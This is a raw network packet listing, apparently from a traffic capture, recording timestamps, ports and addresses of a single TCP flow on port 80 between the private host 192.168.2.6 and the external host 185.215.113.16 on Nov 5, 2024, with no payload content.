Nov 5, 2024 20:52:09.746578932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746598005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746613026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746617079 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746630907 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746649027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746665955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746670961 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746681929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746689081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746706963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746758938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746776104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746789932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746810913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746855021 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747033119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747047901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747065067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747087955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747097015 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747112036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747122049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747127056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747128963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747145891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747160912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747167110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747167110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747206926 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747206926 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747298956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747330904 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747347116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747354031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747363091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747379065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.747381926 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747381926 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747395992 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.747988939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748022079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748047113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748060942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748071909 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748150110 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748163939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748176098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748179913 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748197079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748220921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748220921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748332024 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748342037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748358011 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748372078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748387098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748397112 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748404026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748419046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748429060 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748435974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748446941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748452902 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748467922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748471022 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748491049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748553991 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748569012 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748572111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748584032 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748599052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748610973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748610973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748615980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748631954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748642921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748642921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748647928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748656988 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748666048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748688936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748688936 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748749018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748758078 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748774052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748789072 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748804092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748819113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748841047 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748845100 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748859882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748867989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748877048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748892069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.748917103 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748917103 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.748951912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749010086 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749037981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749053001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749068022 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749082088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749093056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749097109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749114990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749125004 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749125957 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749130011 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749155045 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749157906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749176025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749181986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749192953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749207020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749217033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749217987 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749226093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749234915 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749247074 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749263048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749278069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749291897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749294996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749321938 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749321938 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749341965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749356985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749370098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749372005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.749376059 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749396086 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.749614000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.836304903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.836355925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.836373091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.836376905 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.836407900 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.836414099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.836416960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.836432934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.836450100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.836471081 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.836505890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.837275982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.837301970 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.837316036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.837325096 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.837346077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838201046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838228941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838246107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838258028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838283062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838284016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838301897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838344097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838408947 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838428020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838443995 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838463068 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838490963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838493109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838510036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838526964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838535070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838543892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838558912 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838561058 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838572979 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838591099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838598967 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.838960886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.838990927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839004993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839006901 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839021921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839051962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839054108 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839071989 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839092970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839114904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839256048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839272976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839289904 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839325905 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839334965 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839421988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839437962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839454889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839468956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839482069 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839488029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839502096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839504004 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839525938 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839559078 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839597940 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839615107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839636087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839643002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839653969 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839669943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839701891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839891911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839909077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839936972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839939117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839953899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.839962006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839977026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.839982986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840004921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840042114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840056896 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840060949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840073109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840078115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840089083 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840116024 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840229988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840246916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840261936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840287924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840303898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840316057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840322018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840338945 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840339899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840349913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840379953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840404987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840421915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840437889 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840455055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840457916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840475082 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840492964 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840492964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840511084 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840511084 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840528965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840531111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840545893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840547085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840558052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840565920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840575933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840594053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840642929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840658903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840675116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840677977 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840692997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840706110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840725899 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840742111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840761900 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840773106 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840919018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840950012 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840959072 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840967894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.840980053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.840985060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841001987 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841016054 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841017008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841033936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841051102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841072083 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841516018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841532946 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841550112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841577053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841593027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841600895 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841609955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841626883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841628075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841641903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841665030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841680050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841696024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841711998 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841712952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841725111 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841732979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.841741085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.841766119 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863213062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863250971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863279104 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863292933 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863308907 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863332033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863334894 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863362074 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863374949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863388062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863404989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863425970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863426924 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863454103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863471031 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863481045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863500118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863509893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863518953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863548994 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863578081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863603115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863650084 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863769054 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863791943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863818884 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863828897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863857031 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863862038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863883018 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863888979 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863913059 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.863922119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.863928080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864017963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864058971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864099026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864108086 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864125013 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864149094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864170074 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864175081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864193916 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864223003 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864228010 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864264011 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864289045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864314079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.864320993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.864340067 CET	80	50011	185.215.113.16	192.168.2.6
